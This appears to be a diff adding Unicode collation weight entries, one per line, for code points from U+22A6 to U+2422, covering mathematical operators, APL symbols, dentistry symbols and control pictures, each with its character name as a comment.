+22A6  ; [*069E.0020.0002] # ASSERTION
+22A7  ; [*069F.0020.0002] # MODELS
+22A8  ; [*06A0.0020.0002] # TRUE
+22A9  ; [*06A1.0020.0002] # FORCES
+22AA  ; [*06A2.0020.0002] # TRIPLE VERTICAL BAR RIGHT TURNSTILE
+22AB  ; [*06A3.0020.0002] # DOUBLE VERTICAL BAR DOUBLE RIGHT TURNSTILE
+22AC  ; [*069A.0020.0002][.0000.002F.0002] # DOES NOT PROVE
+22AD  ; [*06A0.0020.0002][.0000.002F.0002] # NOT TRUE
+22AE  ; [*06A1.0020.0002][.0000.002F.0002] # DOES NOT FORCE
+22AF  ; [*06A3.0020.0002][.0000.002F.0002] # NEGATED DOUBLE VERTICAL BAR DOUBLE RIGHT TURNSTILE
+22B0  ; [*06A4.0020.0002] # PRECEDES UNDER RELATION
+22B1  ; [*06A5.0020.0002] # SUCCEEDS UNDER RELATION
+22B2  ; [*06A6.0020.0002] # NORMAL SUBGROUP OF
+22B3  ; [*06A7.0020.0002] # CONTAINS AS NORMAL SUBGROUP
+22B4  ; [*06A8.0020.0002] # NORMAL SUBGROUP OF OR EQUAL TO
+22B5  ; [*06A9.0020.0002] # CONTAINS AS NORMAL SUBGROUP OR EQUAL TO
+22B6  ; [*06AA.0020.0002] # ORIGINAL OF
+22B7  ; [*06AB.0020.0002] # IMAGE OF
+22B8  ; [*06AC.0020.0002] # MULTIMAP
+22B9  ; [*06AD.0020.0002] # HERMITIAN CONJUGATE MATRIX
+22BA  ; [*06AE.0020.0002] # INTERCALATE
+22BB  ; [*06AF.0020.0002] # XOR
+22BC  ; [*06B0.0020.0002] # NAND
+22BD  ; [*06B2.0020.0002] # NOR
+22BE  ; [*06B3.0020.0002] # RIGHT ANGLE WITH ARC
+22BF  ; [*06B4.0020.0002] # RIGHT TRIANGLE
+22C0  ; [*06B5.0020.0002] # N-ARY LOGICAL AND
+22C1  ; [*06B6.0020.0002] # N-ARY LOGICAL OR
+22C2  ; [*06B7.0020.0002] # N-ARY INTERSECTION
+22C3  ; [*06B8.0020.0002] # N-ARY UNION
+22C4  ; [*06B9.0020.0002] # DIAMOND OPERATOR
+22C5  ; [*06BA.0020.0002] # DOT OPERATOR
+22C6  ; [*06BB.0020.0002] # STAR OPERATOR
+22C7  ; [*06BC.0020.0002] # DIVISION TIMES
+22C8  ; [*06BD.0020.0002] # BOWTIE
+22C9  ; [*06BE.0020.0002] # LEFT NORMAL FACTOR SEMIDIRECT PRODUCT
+22CA  ; [*06BF.0020.0002] # RIGHT NORMAL FACTOR SEMIDIRECT PRODUCT
+22CB  ; [*06C0.0020.0002] # LEFT SEMIDIRECT PRODUCT
+22CC  ; [*06C1.0020.0002] # RIGHT SEMIDIRECT PRODUCT
+22CD  ; [*06C2.0020.0002] # REVERSED TILDE EQUALS
+22CE  ; [*06C3.0020.0002] # CURLY LOGICAL OR
+22CF  ; [*06C4.0020.0002] # CURLY LOGICAL AND
+22D0  ; [*06C5.0020.0002] # DOUBLE SUBSET
+22D1  ; [*06C6.0020.0002] # DOUBLE SUPERSET
+22D2  ; [*06C7.0020.0002] # DOUBLE INTERSECTION
+22D3  ; [*06C8.0020.0002] # DOUBLE UNION
+22D4  ; [*06C9.0020.0002] # PITCHFORK
+22D5  ; [*06CA.0020.0002] # EQUAL AND PARALLEL TO
+22D6  ; [*06CB.0020.0002] # LESS-THAN WITH DOT
+22D7  ; [*06CC.0020.0002] # GREATER-THAN WITH DOT
+22D8  ; [*06CD.0020.0002] # VERY MUCH LESS-THAN
+22D9  ; [*06CE.0020.0002] # VERY MUCH GREATER-THAN
+22DA  ; [*06CF.0020.0002] # LESS-THAN EQUAL TO OR GREATER-THAN
+22DB  ; [*06D0.0020.0002] # GREATER-THAN EQUAL TO OR LESS-THAN
+22DC  ; [*06D1.0020.0002] # EQUAL TO OR LESS-THAN
+22DD  ; [*06D2.0020.0002] # EQUAL TO OR GREATER-THAN
+22DE  ; [*06D3.0020.0002] # EQUAL TO OR PRECEDES
+22DF  ; [*06D4.0020.0002] # EQUAL TO OR SUCCEEDS
+22E0  ; [*067A.0020.0002][.0000.002F.0002] # DOES NOT PRECEDE OR EQUAL
+22E1  ; [*067B.0020.0002][.0000.002F.0002] # DOES NOT SUCCEED OR EQUAL
+22E2  ; [*0689.0020.0002][.0000.002F.0002] # NOT SQUARE IMAGE OF OR EQUAL TO
+22E3  ; [*068A.0020.0002][.0000.002F.0002] # NOT SQUARE ORIGINAL OF OR EQUAL TO
+22E4  ; [*06D5.0020.0002] # SQUARE IMAGE OF OR NOT EQUAL TO
+22E5  ; [*06D6.0020.0002] # SQUARE ORIGINAL OF OR NOT EQUAL TO
+22E6  ; [*06D7.0020.0002] # LESS-THAN BUT NOT EQUIVALENT TO
+22E7  ; [*06D8.0020.0002] # GREATER-THAN BUT NOT EQUIVALENT TO
+22E8  ; [*06D9.0020.0002] # PRECEDES BUT NOT EQUIVALENT TO
+22E9  ; [*06DA.0020.0002] # SUCCEEDS BUT NOT EQUIVALENT TO
+22EA  ; [*06A6.0020.0002][.0000.002F.0002] # NOT NORMAL SUBGROUP OF
+22EB  ; [*06A7.0020.0002][.0000.002F.0002] # DOES NOT CONTAIN AS NORMAL SUBGROUP
+22EC  ; [*06A8.0020.0002][.0000.002F.0002] # NOT NORMAL SUBGROUP OF OR EQUAL TO
+22ED  ; [*06A9.0020.0002][.0000.002F.0002] # DOES NOT CONTAIN AS NORMAL SUBGROUP OR EQUAL
+22EE  ; [*06DB.0020.0002] # VERTICAL ELLIPSIS
+22EF  ; [*06DC.0020.0002] # MIDLINE HORIZONTAL ELLIPSIS
+22F0  ; [*06DD.0020.0002] # UP RIGHT DIAGONAL ELLIPSIS
+22F1  ; [*06DE.0020.0002] # DOWN RIGHT DIAGONAL ELLIPSIS
+22F2  ; [*06DF.0020.0002] # ELEMENT OF WITH LONG HORIZONTAL STROKE
+22F3  ; [*06E0.0020.0002] # ELEMENT OF WITH VERTICAL BAR AT END OF HORIZONTAL STROKE
+22F4  ; [*06E1.0020.0002] # SMALL ELEMENT OF WITH VERTICAL BAR AT END OF HORIZONTAL STROKE
+22F5  ; [*06E2.0020.0002] # ELEMENT OF WITH DOT ABOVE
+22F6  ; [*06E3.0020.0002] # ELEMENT OF WITH OVERBAR
+22F7  ; [*06E4.0020.0002] # SMALL ELEMENT OF WITH OVERBAR
+22F8  ; [*06E5.0020.0002] # ELEMENT OF WITH UNDERBAR
+22F9  ; [*06E6.0020.0002] # ELEMENT OF WITH TWO HORIZONTAL STROKES
+22FA  ; [*06E7.0020.0002] # CONTAINS WITH LONG HORIZONTAL STROKE
+22FB  ; [*06E8.0020.0002] # CONTAINS WITH VERTICAL BAR AT END OF HORIZONTAL STROKE
+22FC  ; [*06E9.0020.0002] # SMALL CONTAINS WITH VERTICAL BAR AT END OF HORIZONTAL STROKE
+22FD  ; [*06EA.0020.0002] # CONTAINS WITH OVERBAR
+22FE  ; [*06EB.0020.0002] # SMALL CONTAINS WITH OVERBAR
+22FF  ; [*06EC.0020.0002] # Z NOTATION BAG MEMBERSHIP
+2300  ; [*06ED.0020.0002] # DIAMETER SIGN
+2301  ; [*06EE.0020.0002] # ELECTRIC ARROW
+2302  ; [*06EF.0020.0002] # HOUSE
+2303  ; [*06F0.0020.0002] # UP ARROWHEAD
+2304  ; [*06F1.0020.0002] # DOWN ARROWHEAD
+2305  ; [*06F2.0020.0002] # PROJECTIVE
+2306  ; [*06F3.0020.0002] # PERSPECTIVE
+2307  ; [*06F4.0020.0002] # WAVY LINE
+2308  ; [*0325.0020.0002] # LEFT CEILING
+2309  ; [*0326.0020.0002] # RIGHT CEILING
+230A  ; [*0327.0020.0002] # LEFT FLOOR
+230B  ; [*0328.0020.0002] # RIGHT FLOOR
+230C  ; [*06F5.0020.0002] # BOTTOM RIGHT CROP
+230D  ; [*06F6.0020.0002] # BOTTOM LEFT CROP
+230E  ; [*06F7.0020.0002] # TOP RIGHT CROP
+230F  ; [*06F8.0020.0002] # TOP LEFT CROP
+2310  ; [*06F9.0020.0002] # REVERSED NOT SIGN
+2311  ; [*06FA.0020.0002] # SQUARE LOZENGE
+2312  ; [*06FB.0020.0002] # ARC
+2313  ; [*06FC.0020.0002] # SEGMENT
+2314  ; [*06FD.0020.0002] # SECTOR
+2315  ; [*06FE.0020.0002] # TELEPHONE RECORDER
+2316  ; [*06FF.0020.0002] # POSITION INDICATOR
+2317  ; [*0700.0020.0002] # VIEWDATA SQUARE
+2318  ; [*0701.0020.0002] # PLACE OF INTEREST SIGN
+2319  ; [*0702.0020.0002] # TURNED NOT SIGN
+231A  ; [*0703.0020.0002] # WATCH
+231B  ; [*0704.0020.0002] # HOURGLASS
+231C  ; [*0705.0020.0002] # TOP LEFT CORNER
+231D  ; [*0706.0020.0002] # TOP RIGHT CORNER
+231E  ; [*0707.0020.0002] # BOTTOM LEFT CORNER
+231F  ; [*0708.0020.0002] # BOTTOM RIGHT CORNER
+2320  ; [*0709.0020.0002] # TOP HALF INTEGRAL
+2321  ; [*070A.0020.0002] # BOTTOM HALF INTEGRAL
+2322  ; [*070B.0020.0002] # FROWN
+2323  ; [*070C.0020.0002] # SMILE
+2324  ; [*070D.0020.0002] # UP ARROWHEAD BETWEEN TWO HORIZONTAL BARS
+2325  ; [*070E.0020.0002] # OPTION KEY
+2326  ; [*070F.0020.0002] # ERASE TO THE RIGHT
+2327  ; [*0710.0020.0002] # X IN A RECTANGLE BOX
+2328  ; [*0711.0020.0002] # KEYBOARD
+2329  ; [*036F.0020.0002] # LEFT-POINTING ANGLE BRACKET
+232A  ; [*0370.0020.0002] # RIGHT-POINTING ANGLE BRACKET
+232B  ; [*0712.0020.0002] # ERASE TO THE LEFT
+232C  ; [*0713.0020.0002] # BENZENE RING
+232D  ; [*0714.0020.0002] # CYLINDRICITY
+232E  ; [*0715.0020.0002] # ALL AROUND-PROFILE
+232F  ; [*0716.0020.0002] # SYMMETRY
+2330  ; [*0717.0020.0002] # TOTAL RUNOUT
+2331  ; [*0718.0020.0002] # DIMENSION ORIGIN
+2332  ; [*0719.0020.0002] # CONICAL TAPER
+2333  ; [*071A.0020.0002] # SLOPE
+2334  ; [*071B.0020.0002] # COUNTERBORE
+2335  ; [*071C.0020.0002] # COUNTERSINK
+2336  ; [*071D.0020.0002] # APL FUNCTIONAL SYMBOL I-BEAM
+2337  ; [*071E.0020.0002] # APL FUNCTIONAL SYMBOL SQUISH QUAD
+2338  ; [*071F.0020.0002] # APL FUNCTIONAL SYMBOL QUAD EQUAL
+2339  ; [*0720.0020.0002] # APL FUNCTIONAL SYMBOL QUAD DIVIDE
+233A  ; [*0721.0020.0002] # APL FUNCTIONAL SYMBOL QUAD DIAMOND
+233B  ; [*0722.0020.0002] # APL FUNCTIONAL SYMBOL QUAD JOT
+233C  ; [*0723.0020.0002] # APL FUNCTIONAL SYMBOL QUAD CIRCLE
+233D  ; [*0724.0020.0002] # APL FUNCTIONAL SYMBOL CIRCLE STILE
+233E  ; [*0725.0020.0002] # APL FUNCTIONAL SYMBOL CIRCLE JOT
+233F  ; [*0726.0020.0002] # APL FUNCTIONAL SYMBOL SLASH BAR
+2340  ; [*0727.0020.0002] # APL FUNCTIONAL SYMBOL BACKSLASH BAR
+2341  ; [*0728.0020.0002] # APL FUNCTIONAL SYMBOL QUAD SLASH
+2342  ; [*0729.0020.0002] # APL FUNCTIONAL SYMBOL QUAD BACKSLASH
+2343  ; [*072A.0020.0002] # APL FUNCTIONAL SYMBOL QUAD LESS-THAN
+2344  ; [*072B.0020.0002] # APL FUNCTIONAL SYMBOL QUAD GREATER-THAN
+2345  ; [*072C.0020.0002] # APL FUNCTIONAL SYMBOL LEFTWARDS VANE
+2346  ; [*072D.0020.0002] # APL FUNCTIONAL SYMBOL RIGHTWARDS VANE
+2347  ; [*072E.0020.0002] # APL FUNCTIONAL SYMBOL QUAD LEFTWARDS ARROW
+2348  ; [*072F.0020.0002] # APL FUNCTIONAL SYMBOL QUAD RIGHTWARDS ARROW
+2349  ; [*0730.0020.0002] # APL FUNCTIONAL SYMBOL CIRCLE BACKSLASH
+234A  ; [*0731.0020.0002] # APL FUNCTIONAL SYMBOL DOWN TACK UNDERBAR
+234B  ; [*0732.0020.0002] # APL FUNCTIONAL SYMBOL DELTA STILE
+234C  ; [*0733.0020.0002] # APL FUNCTIONAL SYMBOL QUAD DOWN CARET
+234D  ; [*0734.0020.0002] # APL FUNCTIONAL SYMBOL QUAD DELTA
+234E  ; [*0735.0020.0002] # APL FUNCTIONAL SYMBOL DOWN TACK JOT
+234F  ; [*0736.0020.0002] # APL FUNCTIONAL SYMBOL UPWARDS VANE
+2350  ; [*0737.0020.0002] # APL FUNCTIONAL SYMBOL QUAD UPWARDS ARROW
+2351  ; [*0738.0020.0002] # APL FUNCTIONAL SYMBOL UP TACK OVERBAR
+2352  ; [*0739.0020.0002] # APL FUNCTIONAL SYMBOL DEL STILE
+2353  ; [*073A.0020.0002] # APL FUNCTIONAL SYMBOL QUAD UP CARET
+2354  ; [*073B.0020.0002] # APL FUNCTIONAL SYMBOL QUAD DEL
+2355  ; [*073C.0020.0002] # APL FUNCTIONAL SYMBOL UP TACK JOT
+2356  ; [*073D.0020.0002] # APL FUNCTIONAL SYMBOL DOWNWARDS VANE
+2357  ; [*073E.0020.0002] # APL FUNCTIONAL SYMBOL QUAD DOWNWARDS ARROW
+2358  ; [*073F.0020.0002] # APL FUNCTIONAL SYMBOL QUOTE UNDERBAR
+2359  ; [*0740.0020.0002] # APL FUNCTIONAL SYMBOL DELTA UNDERBAR
+235A  ; [*0741.0020.0002] # APL FUNCTIONAL SYMBOL DIAMOND UNDERBAR
+235B  ; [*0742.0020.0002] # APL FUNCTIONAL SYMBOL JOT UNDERBAR
+235C  ; [*0743.0020.0002] # APL FUNCTIONAL SYMBOL CIRCLE UNDERBAR
+235D  ; [*0744.0020.0002] # APL FUNCTIONAL SYMBOL UP SHOE JOT
+235E  ; [*0745.0020.0002] # APL FUNCTIONAL SYMBOL QUOTE QUAD
+235F  ; [*0746.0020.0002] # APL FUNCTIONAL SYMBOL CIRCLE STAR
+2360  ; [*0747.0020.0002] # APL FUNCTIONAL SYMBOL QUAD COLON
+2361  ; [*0748.0020.0002] # APL FUNCTIONAL SYMBOL UP TACK DIAERESIS
+2362  ; [*0749.0020.0002] # APL FUNCTIONAL SYMBOL DEL DIAERESIS
+2363  ; [*074A.0020.0002] # APL FUNCTIONAL SYMBOL STAR DIAERESIS
+2364  ; [*074B.0020.0002] # APL FUNCTIONAL SYMBOL JOT DIAERESIS
+2365  ; [*074C.0020.0002] # APL FUNCTIONAL SYMBOL CIRCLE DIAERESIS
+2366  ; [*074D.0020.0002] # APL FUNCTIONAL SYMBOL DOWN SHOE STILE
+2367  ; [*074E.0020.0002] # APL FUNCTIONAL SYMBOL LEFT SHOE STILE
+2368  ; [*074F.0020.0002] # APL FUNCTIONAL SYMBOL TILDE DIAERESIS
+2369  ; [*0750.0020.0002] # APL FUNCTIONAL SYMBOL GREATER-THAN DIAERESIS
+236A  ; [*0751.0020.0002] # APL FUNCTIONAL SYMBOL COMMA BAR
+236B  ; [*0752.0020.0002] # APL FUNCTIONAL SYMBOL DEL TILDE
+236C  ; [*0753.0020.0002] # APL FUNCTIONAL SYMBOL ZILDE
+236D  ; [*0754.0020.0002] # APL FUNCTIONAL SYMBOL STILE TILDE
+236E  ; [*0755.0020.0002] # APL FUNCTIONAL SYMBOL SEMICOLON UNDERBAR
+236F  ; [*0756.0020.0002] # APL FUNCTIONAL SYMBOL QUAD NOT EQUAL
+2370  ; [*0757.0020.0002] # APL FUNCTIONAL SYMBOL QUAD QUESTION
+2371  ; [*0758.0020.0002] # APL FUNCTIONAL SYMBOL DOWN CARET TILDE
+2372  ; [*0759.0020.0002] # APL FUNCTIONAL SYMBOL UP CARET TILDE
+2373  ; [*075A.0020.0002] # APL FUNCTIONAL SYMBOL IOTA
+2374  ; [*075B.0020.0002] # APL FUNCTIONAL SYMBOL RHO
+2375  ; [*075C.0020.0002] # APL FUNCTIONAL SYMBOL OMEGA
+2376  ; [*075D.0020.0002] # APL FUNCTIONAL SYMBOL ALPHA UNDERBAR
+2377  ; [*075E.0020.0002] # APL FUNCTIONAL SYMBOL EPSILON UNDERBAR
+2378  ; [*075F.0020.0002] # APL FUNCTIONAL SYMBOL IOTA UNDERBAR
+2379  ; [*0760.0020.0002] # APL FUNCTIONAL SYMBOL OMEGA UNDERBAR
+237A  ; [*0761.0020.0002] # APL FUNCTIONAL SYMBOL ALPHA
+237B  ; [*0762.0020.0002] # NOT CHECK MARK
+237C  ; [*0763.0020.0002] # RIGHT ANGLE WITH DOWNWARDS ZIGZAG ARROW
+237D  ; [*0764.0020.0002] # SHOULDERED OPEN BOX
+237E  ; [*0765.0020.0002] # BELL SYMBOL
+237F  ; [*0766.0020.0002] # VERTICAL LINE WITH MIDDLE DOT
+2380  ; [*0767.0020.0002] # INSERTION SYMBOL
+2381  ; [*0768.0020.0002] # CONTINUOUS UNDERLINE SYMBOL
+2382  ; [*0769.0020.0002] # DISCONTINUOUS UNDERLINE SYMBOL
+2383  ; [*076A.0020.0002] # EMPHASIS SYMBOL
+2384  ; [*076B.0020.0002] # COMPOSITION SYMBOL
+2385  ; [*076C.0020.0002] # WHITE SQUARE WITH CENTRE VERTICAL LINE
+2386  ; [*076D.0020.0002] # ENTER SYMBOL
+2387  ; [*076E.0020.0002] # ALTERNATIVE KEY SYMBOL
+2388  ; [*076F.0020.0002] # HELM SYMBOL
+2389  ; [*0770.0020.0002] # CIRCLED HORIZONTAL BAR WITH NOTCH
+238A  ; [*0771.0020.0002] # CIRCLED TRIANGLE DOWN
+238B  ; [*0772.0020.0002] # BROKEN CIRCLE WITH NORTHWEST ARROW
+238C  ; [*0773.0020.0002] # UNDO SYMBOL
+238D  ; [*0774.0020.0002] # MONOSTABLE SYMBOL
+238E  ; [*0775.0020.0002] # HYSTERESIS SYMBOL
+238F  ; [*0776.0020.0002] # OPEN-CIRCUIT-OUTPUT H-TYPE SYMBOL
+2390  ; [*0777.0020.0002] # OPEN-CIRCUIT-OUTPUT L-TYPE SYMBOL
+2391  ; [*0778.0020.0002] # PASSIVE-PULL-DOWN-OUTPUT SYMBOL
+2392  ; [*0779.0020.0002] # PASSIVE-PULL-UP-OUTPUT SYMBOL
+2393  ; [*077A.0020.0002] # DIRECT CURRENT SYMBOL FORM TWO
+2394  ; [*077B.0020.0002] # SOFTWARE-FUNCTION SYMBOL
+2395  ; [*077C.0020.0002] # APL FUNCTIONAL SYMBOL QUAD
+2396  ; [*077D.0020.0002] # DECIMAL SEPARATOR KEY SYMBOL
+2397  ; [*077E.0020.0002] # PREVIOUS PAGE
+2398  ; [*077F.0020.0002] # NEXT PAGE
+2399  ; [*0780.0020.0002] # PRINT SCREEN SYMBOL
+239A  ; [*0781.0020.0002] # CLEAR SCREEN SYMBOL
+239B  ; [*0782.0020.0002] # LEFT PARENTHESIS UPPER HOOK
+239C  ; [*0783.0020.0002] # LEFT PARENTHESIS EXTENSION
+239D  ; [*0784.0020.0002] # LEFT PARENTHESIS LOWER HOOK
+239E  ; [*0785.0020.0002] # RIGHT PARENTHESIS UPPER HOOK
+239F  ; [*0786.0020.0002] # RIGHT PARENTHESIS EXTENSION
+23A0  ; [*0787.0020.0002] # RIGHT PARENTHESIS LOWER HOOK
+23A1  ; [*0788.0020.0002] # LEFT SQUARE BRACKET UPPER CORNER
+23A2  ; [*0789.0020.0002] # LEFT SQUARE BRACKET EXTENSION
+23A3  ; [*078A.0020.0002] # LEFT SQUARE BRACKET LOWER CORNER
+23A4  ; [*078B.0020.0002] # RIGHT SQUARE BRACKET UPPER CORNER
+23A5  ; [*078C.0020.0002] # RIGHT SQUARE BRACKET EXTENSION
+23A6  ; [*078D.0020.0002] # RIGHT SQUARE BRACKET LOWER CORNER
+23A7  ; [*078E.0020.0002] # LEFT CURLY BRACKET UPPER HOOK
+23A8  ; [*078F.0020.0002] # LEFT CURLY BRACKET MIDDLE PIECE
+23A9  ; [*0790.0020.0002] # LEFT CURLY BRACKET LOWER HOOK
+23AA  ; [*0791.0020.0002] # CURLY BRACKET EXTENSION
+23AB  ; [*0792.0020.0002] # RIGHT CURLY BRACKET UPPER HOOK
+23AC  ; [*0793.0020.0002] # RIGHT CURLY BRACKET MIDDLE PIECE
+23AD  ; [*0794.0020.0002] # RIGHT CURLY BRACKET LOWER HOOK
+23AE  ; [*0795.0020.0002] # INTEGRAL EXTENSION
+23AF  ; [*0796.0020.0002] # HORIZONTAL LINE EXTENSION
+23B0  ; [*0797.0020.0002] # UPPER LEFT OR LOWER RIGHT CURLY BRACKET SECTION
+23B1  ; [*0798.0020.0002] # UPPER RIGHT OR LOWER LEFT CURLY BRACKET SECTION
+23B2  ; [*0799.0020.0002] # SUMMATION TOP
+23B3  ; [*079A.0020.0002] # SUMMATION BOTTOM
+23B4  ; [*079B.0020.0002] # TOP SQUARE BRACKET
+23B5  ; [*079C.0020.0002] # BOTTOM SQUARE BRACKET
+23B6  ; [*079D.0020.0002] # BOTTOM SQUARE BRACKET OVER TOP SQUARE BRACKET
+23B7  ; [*079E.0020.0002] # RADICAL SYMBOL BOTTOM
+23B8  ; [*079F.0020.0002] # LEFT VERTICAL BOX LINE
+23B9  ; [*07A0.0020.0002] # RIGHT VERTICAL BOX LINE
+23BA  ; [*07A1.0020.0002] # HORIZONTAL SCAN LINE-1
+23BB  ; [*07A2.0020.0002] # HORIZONTAL SCAN LINE-3
+23BC  ; [*07A3.0020.0002] # HORIZONTAL SCAN LINE-7
+23BD  ; [*07A4.0020.0002] # HORIZONTAL SCAN LINE-9
+23BE  ; [*07A5.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL AND TOP RIGHT
+23BF  ; [*07A6.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL AND BOTTOM RIGHT
+23C0  ; [*07A7.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL WITH CIRCLE
+23C1  ; [*07A8.0020.0002] # DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL WITH CIRCLE
+23C2  ; [*07A9.0020.0002] # DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL WITH CIRCLE
+23C3  ; [*07AA.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL WITH TRIANGLE
+23C4  ; [*07AB.0020.0002] # DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL WITH TRIANGLE
+23C5  ; [*07AC.0020.0002] # DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL WITH TRIANGLE
+23C6  ; [*07AD.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL AND WAVE
+23C7  ; [*07AE.0020.0002] # DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL WITH WAVE
+23C8  ; [*07AF.0020.0002] # DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL WITH WAVE
+23C9  ; [*07B0.0020.0002] # DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL
+23CA  ; [*07B1.0020.0002] # DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL
+23CB  ; [*07B2.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL AND TOP LEFT
+23CC  ; [*07B3.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL AND BOTTOM LEFT
+23CD  ; [*07B4.0020.0002] # SQUARE FOOT
+23CE  ; [*07B5.0020.0002] # RETURN SYMBOL
+23CF  ; [*07B6.0020.0002] # EJECT SYMBOL
+23D0  ; [*07B7.0020.0002] # VERTICAL LINE EXTENSION
+23D1  ; [*07B8.0020.0002] # METRICAL BREVE
+23D2  ; [*07B9.0020.0002] # METRICAL LONG OVER SHORT
+23D3  ; [*07BA.0020.0002] # METRICAL SHORT OVER LONG
+23D4  ; [*07BB.0020.0002] # METRICAL LONG OVER TWO SHORTS
+23D5  ; [*07BC.0020.0002] # METRICAL TWO SHORTS OVER LONG
+23D6  ; [*07BD.0020.0002] # METRICAL TWO SHORTS JOINED
+23D7  ; [*07BE.0020.0002] # METRICAL TRISEME
+23D8  ; [*07BF.0020.0002] # METRICAL TETRASEME
+23D9  ; [*07C0.0020.0002] # METRICAL PENTASEME
+23DA  ; [*07C1.0020.0002] # EARTH GROUND
+23DB  ; [*07C2.0020.0002] # FUSE
+23DC  ; [*07C3.0020.0002] # TOP PARENTHESIS
+23DD  ; [*07C4.0020.0002] # BOTTOM PARENTHESIS
+23DE  ; [*07C5.0020.0002] # TOP CURLY BRACKET
+23DF  ; [*07C6.0020.0002] # BOTTOM CURLY BRACKET
+23E0  ; [*07C7.0020.0002] # TOP TORTOISE SHELL BRACKET
+23E1  ; [*07C8.0020.0002] # BOTTOM TORTOISE SHELL BRACKET
+23E2  ; [*07C9.0020.0002] # WHITE TRAPEZIUM
+23E3  ; [*07CA.0020.0002] # BENZENE RING WITH CIRCLE
+23E4  ; [*07CB.0020.0002] # STRAIGHTNESS
+23E5  ; [*07CC.0020.0002] # FLATNESS
+23E6  ; [*07CD.0020.0002] # AC CURRENT
+23E7  ; [*07CE.0020.0002] # ELECTRICAL INTERSECTION
+23E8  ; [*07CF.0020.0002] # DECIMAL EXPONENT SYMBOL
+23E9  ; [*07D0.0020.0002] # BLACK RIGHT-POINTING DOUBLE TRIANGLE
+23EA  ; [*07D1.0020.0002] # BLACK LEFT-POINTING DOUBLE TRIANGLE
+23EB  ; [*07D2.0020.0002] # BLACK UP-POINTING DOUBLE TRIANGLE
+23EC  ; [*07D3.0020.0002] # BLACK DOWN-POINTING DOUBLE TRIANGLE
+23ED  ; [*07D4.0020.0002] # BLACK RIGHT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR
+23EE  ; [*07D5.0020.0002] # BLACK LEFT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR
+23EF  ; [*07D6.0020.0002] # BLACK RIGHT-POINTING TRIANGLE WITH DOUBLE VERTICAL BAR
+23F0  ; [*07D7.0020.0002] # ALARM CLOCK
+23F1  ; [*07D8.0020.0002] # STOPWATCH
+23F2  ; [*07D9.0020.0002] # TIMER CLOCK
+23F3  ; [*07DA.0020.0002] # HOURGLASS WITH FLOWING SAND
+23F4  ; [*07DB.0020.0002] # BLACK MEDIUM LEFT-POINTING TRIANGLE
+23F5  ; [*07DC.0020.0002] # BLACK MEDIUM RIGHT-POINTING TRIANGLE
+23F6  ; [*07DD.0020.0002] # BLACK MEDIUM UP-POINTING TRIANGLE
+23F7  ; [*07DE.0020.0002] # BLACK MEDIUM DOWN-POINTING TRIANGLE
+23F8  ; [*07DF.0020.0002] # DOUBLE VERTICAL BAR
+23F9  ; [*07E0.0020.0002] # BLACK SQUARE FOR STOP
+23FA  ; [*07E1.0020.0002] # BLACK CIRCLE FOR RECORD
+23FB  ; [*07E2.0020.0002] # POWER SYMBOL
+23FC  ; [*07E3.0020.0002] # POWER ON-OFF SYMBOL
+23FD  ; [*07E4.0020.0002] # POWER ON SYMBOL
+23FE  ; [*07E5.0020.0002] # POWER SLEEP SYMBOL
+2400  ; [*07E6.0020.0002] # SYMBOL FOR NULL
+2401  ; [*07E7.0020.0002] # SYMBOL FOR START OF HEADING
+2402  ; [*07E8.0020.0002] # SYMBOL FOR START OF TEXT
+2403  ; [*07E9.0020.0002] # SYMBOL FOR END OF TEXT
+2404  ; [*07EA.0020.0002] # SYMBOL FOR END OF TRANSMISSION
+2405  ; [*07EB.0020.0002] # SYMBOL FOR ENQUIRY
+2406  ; [*07EC.0020.0002] # SYMBOL FOR ACKNOWLEDGE
+2407  ; [*07ED.0020.0002] # SYMBOL FOR BELL
+2408  ; [*07EE.0020.0002] # SYMBOL FOR BACKSPACE
+2409  ; [*07EF.0020.0002] # SYMBOL FOR HORIZONTAL TABULATION
+240A  ; [*07F0.0020.0002] # SYMBOL FOR LINE FEED
+240B  ; [*07F1.0020.0002] # SYMBOL FOR VERTICAL TABULATION
+240C  ; [*07F2.0020.0002] # SYMBOL FOR FORM FEED
+240D  ; [*07F3.0020.0002] # SYMBOL FOR CARRIAGE RETURN
+240E  ; [*07F4.0020.0002] # SYMBOL FOR SHIFT OUT
+240F  ; [*07F5.0020.0002] # SYMBOL FOR SHIFT IN
+2410  ; [*07F6.0020.0002] # SYMBOL FOR DATA LINK ESCAPE
+2411  ; [*07F7.0020.0002] # SYMBOL FOR DEVICE CONTROL ONE
+2412  ; [*07F8.0020.0002] # SYMBOL FOR DEVICE CONTROL TWO
+2413  ; [*07F9.0020.0002] # SYMBOL FOR DEVICE CONTROL THREE
+2414  ; [*07FA.0020.0002] # SYMBOL FOR DEVICE CONTROL FOUR
+2415  ; [*07FB.0020.0002] # SYMBOL FOR NEGATIVE ACKNOWLEDGE
+2416  ; [*07FC.0020.0002] # SYMBOL FOR SYNCHRONOUS IDLE
+2417  ; [*07FD.0020.0002] # SYMBOL FOR END OF TRANSMISSION BLOCK
+2418  ; [*07FE.0020.0002] # SYMBOL FOR CANCEL
+2419  ; [*07FF.0020.0002] # SYMBOL FOR END OF MEDIUM
+241A  ; [*0800.0020.0002] # SYMBOL FOR SUBSTITUTE
+241B  ; [*0801.0020.0002] # SYMBOL FOR ESCAPE
+241C  ; [*0802.0020.0002] # SYMBOL FOR FILE SEPARATOR
+241D  ; [*0803.0020.0002] # SYMBOL FOR GROUP SEPARATOR
+241E  ; [*0804.0020.0002] # SYMBOL FOR RECORD SEPARATOR
+241F  ; [*0805.0020.0002] # SYMBOL FOR UNIT SEPARATOR
+2420  ; [*0806.0020.0002] # SYMBOL FOR SPACE
+2421  ; [*0807.0020.0002] # SYMBOL FOR DELETE
+2422  ; [*0808.0020.0002] # BLANK SYMBOL
